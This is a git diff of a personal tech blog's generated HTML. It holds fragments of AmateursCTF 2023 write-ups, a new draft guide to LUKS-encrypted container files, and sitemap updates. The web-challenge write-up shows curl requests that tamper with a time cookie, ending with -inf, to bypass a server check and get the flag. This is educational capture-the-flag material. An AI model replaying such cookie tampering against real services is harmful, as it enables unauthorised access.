SWHKD Waycrate Wayland \ No newline at end of file +Keep the Keys Clackin' \ No newline at end of file diff --git a/post/volcano-reverse-engineering-amateursctf-2023/index.html b/post/volcano-reverse-engineering-amateursctf-2023/index.html index 369f504d..961d88df 100644 --- a/post/volcano-reverse-engineering-amateursctf-2023/index.html +++ b/post/volcano-reverse-engineering-amateursctf-2023/index.html @@ -105,7 +105,7 @@ and stores the result in the ok variable.

< ok = process_bear(bear);

The next block only executes when ok is true.

if (ok) {
   // ...
-}
+}
 

Inside this block, the program for another unsigned long integer as before but calls it a volcano, running a check specific to this input.

printf("Give me a volcano: ");
 volcano = 0;
@@ -113,7 +113,7 @@ a check specific to this input.

_ok = process_volcano(volcano);
 

The next conditional block executes when this process_volcano subroutine return true.

if (_ok) {
   // ...
-}
+}
 

The program then asks for another unsigned long integer as a proof for the “volcano” and the “bear” being the same.

printf("Prove to me they are the same: ");
 proof = 0;
 leet = 0x1337;
@@ -128,12 +128,12 @@ There’s nothing worth explaining about them in particular but you may chec
 n_bear = n_digits(bear);
 if (n_volcano == n_bear) {
   // ...
- }
+ }
 

Our second constraint is that the sum of the digits must equal for the volcano and the bear.

n_volcano = sum_of_digits(volcano);
 n_bear = sum_of_digits(bear);
 if (n_volcano == n_bear) {
   // ...
-}
+}
 

Finally the happy ending happens when the result of a proof checking function is the same for both the numbers.

m_v = check_proof(leet,volcano,proof);
 m_b = check_proof(leet,bear,proof);
 if (m_v == m_b) {
@@ -209,7 +209,7 @@ The code would look like the following:

  && sum_and_number_of_digits(bear) == sum_and_number_of_digits(volcano)
   {
     // do something
-  }
+  }
 }
 

Since most of the conditions are modulo congruence checks, we can use the Chinese Remainder Theorem to solve for the smallest number that leaves the respective remainders and begin from there.

Let aa be a vector of all the moduli and rr represent the array of the respective remainders.

a=[2357109] @@ -316,4 +316,4 @@ amateursCTF{yep_th0se_l00k_th3_s4me_to_m3!_:clueless:} CTF Remainder Theorem Reverse EngineeringCompact XOR -Waiting an Eternity \ No newline at end of file +Waiting an Eternity \ No newline at end of file diff --git a/post/wait-an-eternity-web-challenge-amateursctf-2023/index.html b/post/wait-an-eternity-web-challenge-amateursctf-2023/index.html index f370eddc..00fec12c 100644 --- a/post/wait-an-eternity-web-challenge-amateursctf-2023/index.html +++ b/post/wait-an-eternity-web-challenge-amateursctf-2023/index.html @@ -54,20 +54,20 @@ welcome. please wait another eternity.

There is another difference in the headers of the response. This time, instead of the refresh header, we can notice a set-cookie header with the time cookie set to a floating point number.

set-cookie: time=1689655442.2456439; path=/
 

Let’s try setting this time cookie to 0 using the -b flag with curl.

curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
--b "time=0"
+-b "time=0"
 

The response tells us that we haven’t waited enough.

you have not waited an eternity. you have only waited 1689655538.27981 seconds
 

This is better than the previous message as the server thinks we have at least waited some time. Since 0 is less than the default value 1689655442.2456439 we encountered before, let’s try supplying an even smaller number like -1000.

curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
--b "time=-1000"
+-b "time=-1000"
 

The response says:

you have not waited an eternity. you have only waited 1689657530.625615 seconds
 

Notice how 1689657530.625615 in the second response is greater than 1689655538.27981 from the first response. This implies, for smaller values supplied to the time cookie, the time we have waited increases.

The last piece to the puzzle is that the time cookie is a floating point number. According to the IEE 754 floating point specifications, these numbers must also be able to represent signed zeros, things that are not a number (NaN) and signed infinities. To wait an eternity, we can supply the most negative value possible, -inf.

curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
--b "time=-inf"
+-b "time=-inf"
 

This finally gives us our flag.

amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}
 
\ No newline at end of file +I Switched to NixOS \ No newline at end of file diff --git a/post/wayland-tools-rock/index.html b/post/wayland-tools-rock/index.html index 077efd41..edcfac40 100644 --- a/post/wayland-tools-rock/index.html +++ b/post/wayland-tools-rock/index.html @@ -21,4 +21,4 @@ See you soon!

\ No newline at end of file +Using an Android Phone as a webcam in NixOS \ No newline at end of file diff --git a/post/working-with-luks-file-stashes/index.html b/post/working-with-luks-file-stashes/index.html new file mode 100644 index 00000000..772aef06 --- /dev/null +++ b/post/working-with-luks-file-stashes/index.html @@ -0,0 +1,26 @@ +Working With LUKS File Stashes - lavafroth

Working With LUKS File Stashes

THIS POST IS A DRAFT

LUKS is an incredible solution for encrypting entire partitions in Linux. +Often times, however, we can’t afford to create new partitions inside a disk +without having to completely format the drive anew.

In this post, I will guide you through the process of creating and working +with LUKS container files that are encrypted at rest and can be decrypted on +demand with knowledge of the passphrase.

Creating the image base

head --bytes=4G /dev/urandom > stash.img
+

Format the image

Including the LUKS header

cryptsetup luksFormat stash.img
+

With a detached LUKS header

cryptsetup luksFormat stash.img --header stash.img.luks
+

In either case, cryptsetup will ask you to supply a passphrase which will secure +the contents of this container.

Interacting with the image

This section shall describe mounting and unmounting the stash both with and without +super user privileges, although, I suppose most readers will be interested in latter +since that’s the whole point of portable LUKS file stashes.

With super user privileges

Mounting

mkdir -p /mnt/stash
+cryptsetup open stash.img stash
+mount /dev/mapper/stash /mnt/stash
+

Unmounting

umount /dev/mapper/stash
+cryptsetup close stash
+

Without super user privileges

Mounting

udisksctl loop-setup --file stash.img
+

This returns the path to a loop device, for example, /dev/loop0.

udisksctl unlock --block-device /dev/loop0
+

Enter the passphrase previously used for formatting the image. The drive should be accessible via a graphical file manager.

Unmounting

udisksctl lock --block-device /dev/loop0
+udisksctl loop-delete --block-device /dev/loop0
+
\ No newline at end of file diff --git a/privacy/index.html b/privacy/index.html index 396f60cc..26ab2448 100644 --- a/privacy/index.html +++ b/privacy/index.html @@ -1,4 +1,4 @@ Privacy Policy - lavafroth

Privacy Policy

This site does not use cookies or <link> any third party resources to track you. -The site theme changes based on your theme preference propagated by your browser.

Posts here can be viewed without javascript excepting live demos. The only feature relying on javascript is the search.

\ No newline at end of file +The site theme changes based on your theme preference propagated by your browser.

Posts here can be viewed without javascript excepting live demos. The only feature relying on javascript is the search.

\ No newline at end of file diff --git a/project_mana/index.html b/project_mana/index.html index 58df4943..3bea7c85 100644 --- a/project_mana/index.html +++ b/project_mana/index.html @@ -403,4 +403,4 @@ renderer.setAnimationLoop(animate); orbit.addEventListener('change', function() { init = true; }) -
\ No newline at end of file +
\ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml index 5471f083..5d7f4fae 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -1 +1 @@ -https://lavafroth.is-a.dev/tags/algebraic-data-types/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/post/algebraic-python-enums/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/decorators/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/post/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/python/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/rust/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/skta4v7n8h8/2025-10-31T20:24:35+05:30https://lavafroth.is-a.dev/jfgp3d7rrx0/2025-10-28T16:09:00+05:30https://lavafroth.is-a.dev/ilrlmvakdlx9uwodtocdbg/2025-10-03T16:04:18+05:30https://lavafroth.is-a.dev/divmqbyvl9y/2025-10-03T16:04:18+05:30https://lavafroth.is-a.dev/tags/nix/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/tags/nixos/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/post/nixos-notes-to-self/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/tags/notes/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/tags/troubleshooting/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/privacy/2025-08-30T09:00:14+05:30https://lavafroth.is-a.dev/tags/e/os/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/android/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/custom-rom/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/quickstep/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/quickswitch/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/art/sparkles/2025-07-15T11:52:20+05:30https://lavafroth.is-a.dev/art/2025-07-15T11:52:20+05:30https://lavafroth.is-a.dev/post/detecting-stripped-go-binaries/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/go/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/reverse-engieering/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/til/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/ai/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/copilot/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/llm/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/post/do-you-really-need-a-copilot/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/rant/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/bioinformatics/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/dna/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/post/in-search-of-the-smallest-dna-compl/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/linear-algebra/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/remainder-theorem/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/3d/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/animation/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/post/project-mana-demo/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/glsl/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/manim/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/threejs/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/webgl/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/bash/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/tags/ctf/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/tags/picoctf/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/post/picoctf-sansalpha-writeup/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/tags/sandbox-escape/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/automation/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/home-server/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/jellyfin/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/photoprism/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/lanzaboote/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/tags/sbctl/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/tags/secureboot/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/tags/ebnf/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/google-summer-of-code/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/swhkd/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/waycrate/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/wayland/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/cuda/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/tags/machine-learning/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/tags/nvidia/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/post/cuda-on-nixos-without-sacrificing-ones-sanity/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/tags/workflow/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/art/amateur-blender-sculpture/2024-08-03T17:50:00+05:30https://lavafroth.is-a.dev/post/how-i-use-swhkd-in-my-workflow/2024-08-01T17:17:31+05:30https://lavafroth.is-a.dev/tags/video-editing/2024-08-01T17:17:31+05:30https://lavafroth.is-a.dev/post/polishing-and-bugfix-week/2024-07-29T13:46:41+05:30https://lavafroth.is-a.dev/post/humans-suck-at-command-sanitization/2024-07-17T07:55:34+05:30https://lavafroth.is-a.dev/post/preventing-infinite-recursions-from-eating-your-lunch/2024-07-04T09:57:01+05:30https://lavafroth.is-a.dev/post/test-driven-development-the-pinnacle-of-engineering/2024-06-24T08:45:49+05:30https://lavafroth.is-a.dev/art/drowning/2024-06-18T09:30:00+05:30https://lavafroth.is-a.dev/art/thiserror/2024-06-18T09:30:00+05:30https://lavafroth.is-a.dev/post/modes-unbinds-and-other-ensembled-parser-patterns/2024-06-10T08:27:06+05:30https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/tags/kernel-modules/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/tags/laptops/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/tags/linux/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/2024-06-05T10:26:13+05:30https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/2024-06-03T08:18:19+05:30https://lavafroth.is-a.dev/post/timing-is-key/2024-05-29T21:18:22+05:30https://lavafroth.is-a.dev/post/keep-the-keys-clackin/2024-05-27T08:59:29+05:30https://lavafroth.is-a.dev/post/2-afternoons-2-languages-2-tuis/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/tags/terminal/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/tags/ui/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/tags/youtube/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/post/a-sweet-little-config-parser/2024-05-17T07:52:44+05:30https://lavafroth.is-a.dev/post/wayland-tools-rock/2024-05-17T07:52:44+05:30https://lavafroth.is-a.dev/tags/meta/2024-03-10T08:47:08+05:30https://lavafroth.is-a.dev/post/android-phone-for-webcam-nixos/2024-03-10T08:47:08+05:30https://lavafroth.is-a.dev/art/wip-animation/2024-01-19T09:30:00+05:30https://lavafroth.is-a.dev/tags/binary-exploitation/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/ci-exploitation/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/cloud-security/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/cryptography/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/dmarc/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/reverse-engineering/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/web/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/2023-12-06T10:58:10+05:30https://lavafroth.is-a.dev/tags/concurrency/2023-12-06T10:58:10+05:30https://lavafroth.is-a.dev/tags/amateursctf/2023-09-07T07:03:27+05:30https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/2023-09-07T07:03:27+05:30https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/2023-08-24T18:05:59+05:30https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/2023-07-21T18:29:59+05:30https://lavafroth.is-a.dev/tags/cookies/2023-07-19T07:53:17+05:30https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/2023-07-19T07:53:17+05:30https://lavafroth.is-a.dev/post/i-switched-to-nixos/2023-07-08T09:29:34+05:30https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/2023-04-10T08:44:28+05:30https://lavafroth.is-a.dev/tags/java/2023-03-18T07:10:17+05:30https://lavafroth.is-a.dev/post/picoctf-web-java-code-analysis/2023-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/jwt/2023-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/image-reconstruction/2023-03-03T09:47:54+05:30https://lavafroth.is-a.dev/post/picoctf-web-java-script-kiddie-2/2023-03-03T09:47:54+05:30https://lavafroth.is-a.dev/tags/javascript/2023-03-03T09:47:54+05:30https://lavafroth.is-a.dev/post/picoctf-web-some-assembly-required-3/2023-02-09T16:39:08+05:30https://lavafroth.is-a.dev/tags/webassembly/2023-02-09T16:39:08+05:30https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/2023-01-09T10:36:35+05:30https://lavafroth.is-a.dev/tags/powershell/2023-01-09T10:36:35+05:30https://lavafroth.is-a.dev/tags/wireshark/2023-01-09T10:36:35+05:30https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/2022-11-22T09:25:20+05:30https://lavafroth.is-a.dev/tags/visual-cryptography/2022-11-22T09:25:20+05:30https://lavafroth.is-a.dev/tags/ast/2022-08-19T10:04:36+05:30https://lavafroth.is-a.dev/tags/google-ctf/2022-08-19T10:04:36+05:30https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/2022-08-19T10:04:36+05:30https://lavafroth.is-a.dev/tags/elf/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/post/r0-i-saw-a-little-elf/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/tags/ringzer0/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/tags/web-parsing/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/post/r0-hash-me-reloaded/2022-08-19T09:57:15+05:30https://lavafroth.is-a.dev/post/r0-hash-me-please/2022-08-19T09:57:00+05:30https://lavafroth.is-a.dev/tags/nushell/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/post/oh-my-god-they-killed-kenny/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/tags/south-park/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/tags/streaming/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/2022-07-24T12:29:56+05:30https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/2022-07-24T12:28:56+05:30https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/2022-07-24T12:27:56+05:30https://lavafroth.is-a.dev/about/2022-07-23T19:11:10+05:30https://lavafroth.is-a.dev/art/tyler-joseph-portrait/2022-07-23T19:07:32+05:30https://lavafroth.is-a.dev/art/shes-a-rebel/2022-04-17T17:01:44+05:30https://lavafroth.is-a.dev/tags/forensics/2022-03-18T07:10:17+05:30https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/2022-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/the-sleuth-kit/2022-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/authentication-bypass/2022-02-22T14:49:34+05:30https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/2022-02-22T14:49:34+05:30https://lavafroth.is-a.dev/post/liberating-14gib-of-space/2022-02-21T13:15:26+05:30https://lavafroth.is-a.dev/tags/windows/2022-02-21T13:15:26+05:30https://lavafroth.is-a.dev/tags/jinja2/2022-02-21T09:24:30+05:30https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/2022-02-21T09:24:30+05:30https://lavafroth.is-a.dev/tags/path-traversal/2022-02-21T09:24:30+05:30https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/2021-12-09T09:52:29+05:30https://lavafroth.is-a.dev/project_mana/ \ No newline at end of file +https://lavafroth.is-a.dev/2026-01-01T07:24:36+05:30https://lavafroth.is-a.dev/post/2026-01-01T07:24:36+05:30https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/2026-01-01T07:24:36+05:30https://lavafroth.is-a.dev/tags/algebraic-data-types/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/post/algebraic-python-enums/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/decorators/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/python/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/rust/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/nix/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/tags/nixos/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/post/nixos-notes-to-self/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/tags/notes/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/tags/troubleshooting/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/privacy/2025-08-30T09:00:14+05:30https://lavafroth.is-a.dev/tags//e/os/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/android/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/custom-rom/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/quickstep/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/quickswitch/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/art/sparkles/2025-07-15T11:52:20+05:30https://lavafroth.is-a.dev/art/2025-07-15T11:52:20+05:30https://lavafroth.is-a.dev/post/detecting-stripped-go-binaries/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/go/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/reverse-engieering/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/til/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/ai/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/copilot/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/llm/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/post/do-you-really-need-a-copilot/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/rant/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/bioinformatics/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/dna/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/post/in-search-of-the-smallest-dna-compl/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/linear-algebra/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/remainder-theorem/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/3d/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/animation/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/post/project-mana-demo/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/glsl/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/manim/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/threejs/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/webgl/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/bash/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/tags/ctf/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/tags/picoctf/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/post/picoctf-sansalpha-writeup/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/tags/sandbox-escape/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/automation/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/home-server/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/jellyfin/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/photoprism/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/lanzaboote/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/tags/sbctl/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/tags/secureboot/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/tags/ebnf/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/google-summer-of-code/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/swhkd/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/waycrate/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/wayland/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/cuda/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/tags/machine-learning/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/tags/nvidia/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/post/cuda-on-nixos-without-sacrificing-ones-sanity/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/tags/workflow/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/art/amateur-blender-sculpture/2024-08-03T17:50:00+05:30https://lavafroth.is-a.dev/post/how-i-use-swhkd-in-my-workflow/2024-08-01T17:17:31+05:30https://lavafroth.is-a.dev/tags/video-editing/2024-08-01T17:17:31+05:30https://lavafroth.is-a.dev/post/polishing-and-bugfix-week/2024-07-29T13:46:41+05:30https://lavafroth.is-a.dev/post/humans-suck-at-command-sanitization/2024-07-17T07:55:34+05:30https://lavafroth.is-a.dev/post/preventing-infinite-recursions-from-eating-your-lunch/2024-07-04T09:57:01+05:30https://lavafroth.is-a.dev/post/test-driven-development-the-pinnacle-of-engineering/2024-06-24T08:45:49+05:30https://lavafroth.is-a.dev/art/drowning/2024-06-18T09:30:00+05:30https://lavafroth.is-a.dev/art/thiserror/2024-06-18T09:30:00+05:30https://lavafroth.is-a.dev/post/modes-unbinds-and-other-ensembled-parser-patterns/2024-06-10T08:27:06+05:30https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/tags/kernel-modules/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/tags/laptops/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/tags/linux/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/2024-06-05T10:26:13+05:30https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/2024-06-03T08:18:19+05:30https://lavafroth.is-a.dev/post/timing-is-key/2024-05-29T21:18:22+05:30https://lavafroth.is-a.dev/post/keep-the-keys-clackin/2024-05-27T08:59:29+05:30https://lavafroth.is-a.dev/post/2-afternoons-2-languages-2-tuis/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/tags/terminal/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/tags/ui/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/tags/youtube/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/post/a-sweet-little-config-parser/2024-05-17T07:52:44+05:30https://lavafroth.is-a.dev/post/wayland-tools-rock/2024-05-17T07:52:44+05:30https://lavafroth.is-a.dev/tags/meta/2024-03-10T08:47:08+05:30https://lavafroth.is-a.dev/post/android-phone-for-webcam-nixos/2024-03-10T08:47:08+05:30https://lavafroth.is-a.dev/art/wip-animation/2024-01-19T09:30:00+05:30https://lavafroth.is-a.dev/tags/binary-exploitation/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/ci-exploitation/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/cloud-security/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/cryptography/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/dmarc/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/reverse-engineering/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/web/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/2023-12-06T10:58:10+05:30https://lavafroth.is-a.dev/tags/concurrency/2023-12-06T10:58:10+05:30https://lavafroth.is-a.dev/tags/amateursctf/2023-09-07T07:03:27+05:30https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/2023-09-07T07:03:27+05:30https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/2023-08-24T18:05:59+05:30https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/2023-07-21T18:29:59+05:30https://lavafroth.is-a.dev/tags/cookies/2023-07-19T07:53:17+05:30https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/2023-07-19T07:53:17+05:30https://lavafroth.is-a.dev/post/i-switched-to-nixos/2023-07-08T09:29:34+05:30https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/2023-04-10T08:44:28+05:30https://lavafroth.is-a.dev/tags/java/2023-03-18T07:10:17+05:30https://lavafroth.is-a.dev/post/picoctf-web-java-code-analysi